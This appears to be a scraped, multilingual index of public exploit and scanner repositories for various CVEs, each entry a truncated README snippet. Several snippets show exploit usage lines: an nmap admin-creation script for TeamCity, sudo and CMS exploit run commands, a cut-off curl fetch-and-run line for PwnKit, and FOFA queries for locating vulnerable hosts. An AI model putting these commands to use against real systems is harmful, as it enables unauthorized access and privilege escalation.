parquet-canary-exploit-rce-poc-CVE-2025-30065

Canary Exploit for Parquet CVE-2025-30065 root@kitploit: -. '-. OO OO .-----,--/ ,. ,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------. ' .--.\ \ //| .---' .-'/ ,-. / .. / ,-. | | .-' / -. / .. \ / .. \ / .' | | | |'-.\ \ / / | | OO'-' | . / \ '-' | | '--. OO'-' ' . / ...

CVE-2023-42793

使用方法： 将其保存为 teamcity-admin-creation.nse 并运行： nmap -p 8111 --script teamcity-admin-creation --script-args url=https://target-url...

Fastgate

TLDR 这是一份关于在玩 Fastweb 的 Fastgate 调制解调器/路由器和 Ghidra 时发现的一个漏洞（CVE-2019-12489）的简要报告。 该漏洞允许通过 HTTP 请求执行命令注入，并可被用来启用 SSH shell。 固件收集与提取 所有固件文件都位于 http://59.0.121.191:8080/ACS-server/file/FILENAME 其中 FILENAME 等于： 0.00.89FW200Askey 0.00.81FW200Askey 0.00.67FW200Askey 0.00.47FW200Askey 0.00.267FW200Askey...

CVE-2024-4577

CVE-2024-4577 FOFA搜索： header="Xamppsinfo" || body="/xampps.jpg" || header="location http" && header="xampp" || body="content="Kai Oswald Seidler" || title="XAMPP for" || title="XAMPP Version" || body="font-size: 1.2em; color: red;"New XAMPP" Censys搜索：...

jenkinsci__docker-commons-plugin_CVE-2022-20617_1-17

Jenkins 的 Docker Commons API 插件 API 插件，为各种与 Docker 相关的插件提供通用共享功能。 概要 用于管理 Docker 镜像和容器指纹的 API Docker Registry 的凭据和位置 Docker Daemon（即 Docker Remote API）的凭据和位置 用于 Docker CLI 客户端的 ToolInstallation DockerImageExtractor 扩展点，用于从任务中获取 Docker 镜像关系 在 Docker 构建中引用相关镜像指纹的简单 UI 等等。 使用场景 凭据和位置...

eternal_scanner

ETERNAL SCANNER 2.4 Eternal Scanner 是一个用于 Eternal Blue 漏洞 CVE-2017-0144 和 Eternal Romance 命名管道 漏洞 CVE-2017-0145 的网络扫描器。 截屏 2.2 版本（新增功能） Eternal Romance 漏洞检测 escan -er Escan 数据库分类结果 escan -l 视频 Eternal Scanner 2.0 : https://www.youtube.com/watch?v=8heVXfcywq0 Eternal Scanner 2.2 安装与运行 :...

eternal_scanner

ETERNAL SCANNER 2.4 Eternal scanner is an network scanner for Eternal Blue exploit CVE-2017-0144 & Eternal Romance named pipe CVE-2017-0145 . Screenshots 2.2 Version New Implementations Eternal Romance Vulnerability check escan -er Escan Database Splited Results escan -l Video...

-CVE-2017-7494-Samba-Exploit-POC

-CVE-2017-7494-Samba-Exploit-POC 根据Rapid7的研究人员，互联网上出现了超过11万台运行稳定版Samba的设备，而约92,500台似乎运行不稳定的Samba版本，这些版本没有修复程序。最新的Samba版本，包括4.6.x之前的4.6.4、4.5.x之前的4.5.10以及3.5.0之前的4.4.13，均受此错误影响。2017年5月24日，Samba发布了4.6.4版本，修复了一个严重的远程代码执行漏洞，漏洞编号为CVE-2017-7494，该漏洞影响Samba 3.5.0及更高版本。 漏洞编号：CVE-2017-7494 严重等级：高 受影响软件： •...

CVE-2020-8888

CVE-2020-8888 测试...

CVE-2024-36416

CVE-2024-36416 用于验证 CVE-2024-36416 的工具 使用 root@kitploit: pip3 install -r requirements.txt python3 sukuna.py --help python3 sukuna.py --url http://./ --validate --payload-test 服务器端日志文件检查 验证服务器端文件，如果日志文件 \service\example\proxy.log 的大小 = 25MB，则服务器可能存在漏洞。 已知问题 下载压缩文件夹可能会触发 Windows Defender 报出...

Follina-CVE-and-CVE-2021-40444

利用Follina CVE和CVE-2021-40444漏洞 目录 1. 简介 2. 前提条件 3. 设置与安装 4. 使用方法 5. 详细说明 6. 命令 7. 免责声明 简介 本仓库包含用于利用 Microsoft Office 中 Follina CVE 和 CVE-2021-40444 漏洞的脚本和资源。这些脚本会生成能够在目标系统上执行任意代码的恶意文档文件。 前提条件 Flare VM Python 3.x Microsoft Word 所需的 Python 包（列于 requirements.txt 中） 设置与安装 1. Flare VM 设置： 确保已安装 Flare...

MongoBleed

MongoBleed CVE-2025-14847 Escáner y Kit de Explotación Un kit de investigación de seguridad para MongoBleed, una fuga de memoria crítica no autenticada en la descompresión zlib de MongoDB que permite a atacantes extraer datos sensibles de la memoria heap del servidor sin autenticación...

CVE-2021-3156

CVE-2021-3156 Exploit para CVE-2021-3156 Introducción Este es un exploit para la vulnerabilidad CVE-2021-3156 de sudo denominada Baron Samedit por Qualys. compilar: $ make listar objetivos: $ ./sudo-hax-me-a-sandwich ejecutar: $ ./sudo-hax-me-a-sandwich...

CVE-2019-9053-exploit

CVE-2019-9053-exploit working exploit for CVE-2019-9053 I edited oryginal exploit and now its working well. Oryginal exploit had some problems like missing syntax. Usage: Example usage no cracking password: exploit.py -u http://target-uri Example usage with cracking password: exploit.py -u...

PHP-CGI-RCE-Scanner

Escáner de PHP CGI RCE CVE-2024-4577 Solo una herramienta con fines educativos. Sin responsabilidad legal. Escaneo de la vulnerabilidad CVE-2024-4577 con una lista de URL. No solo envía el exploit, sino que también comprueba la versión de PHP y si php-cgi existe. Lo hace más informativo para sabe...

CVE-2022-22965

Spring Framework 漏洞 - CVE-2022-22965 易受攻击/不易受攻击的软件列表 https://github.com/NCSC-NL/spring4shell/blob/main/software/README.md 发现易受攻击的代码 易受 CVE-2022-22965 攻击的前提条件： 1 使用 Spring Framework 请参阅下面的 PowerShell 和 bash 脚本。 2 Spring Framework 的版本必须存在漏洞，这原则上适用于所有早于 5.3.18 和 5.2.20 的版本。 Hilko Bengen 发布了一个扫描器，用于根...

CVE-2026-19304

creationtimestamp| type| source ---|---|--- 2026-09-05 09:01:15+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mur4kcw7zx2r...

Exploiting-PwnKit-CVE-2021-4034-

PwnKit Exploit autocontenido para CVE-2021-4034 - Escalada de privilegios local de Pkexec Uso Debería funcionar sin configuración adicional en distribuciones Linux vulnerables basadas en Ubuntu, Debian, Fedora y CentOS. root@kitploit: sh -c "$curl -fsSL...

CVE-2026-19303

creationtimestamp| type| source ---|---|--- 2026-09-05 09:01:08+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mur4k45iiv2e...

ban-exploitable-bitcoin-nodes

ban-exploitable-bitcoin-nodes Bloquea todos los nodos explotables por vulnerabilidades de denegación de servicio en tu nodo CVE-2018-17144 Requisitos para el script bash ban.sh Procesador JSON de línea de comandos jq. Instalación en Linux basado en Debian root@kitploit: sudo apt-get install jq...